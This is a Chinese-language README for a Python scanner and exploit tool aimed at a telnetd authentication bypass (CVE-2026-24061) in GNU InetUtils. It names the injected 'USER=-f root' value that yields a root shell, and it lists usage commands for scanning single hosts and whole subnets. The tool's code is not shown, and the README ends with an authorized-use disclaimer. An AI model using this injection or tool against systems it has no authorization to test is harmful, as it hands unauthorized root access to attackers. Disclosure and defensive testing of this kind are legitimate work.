这是一个基于 Python 的安全扫描器,用于检测并利用 CVE-2026-24061,这是 GNU InetUtils telnetd 1.9.3 至 2.7 版本中存在的一个严重(CVSS 9.8)身份认证绕过漏洞。
该扫描器通过 Telnet NEW-ENVIRON 选项(RFC 1572)注入恶意 USER=-f root 值,诱使服务器跳过身份认证并授予 root shell。
id 命令进行后渗透确认# Scan single target
sudo python3 telnetd_scanner.py -t 192.168.56.101 -p 23 -v
# Scan entire subnet
sudo python3 telnetd_scanner.py -t 192.168.56.0/24 --threads 30
# Save report
sudo python3 telnetd_scanner.py -t 192.168.56.101 -o report.txt
# JSON output
sudo python3 telnetd_scanner.py -t 192.168.56.101 --format json -o report.json
| 软件 | 受影响版本 | 已修复版本 |
|---|---|---|
| GNU InetUtils telnetd | <= 2.7 | >= 2.8 |
本工具仅供授权安全研究与教育用途使用。请勿将其用于您不拥有或未经明确许可测试的系统。
Ahmad Sadeeq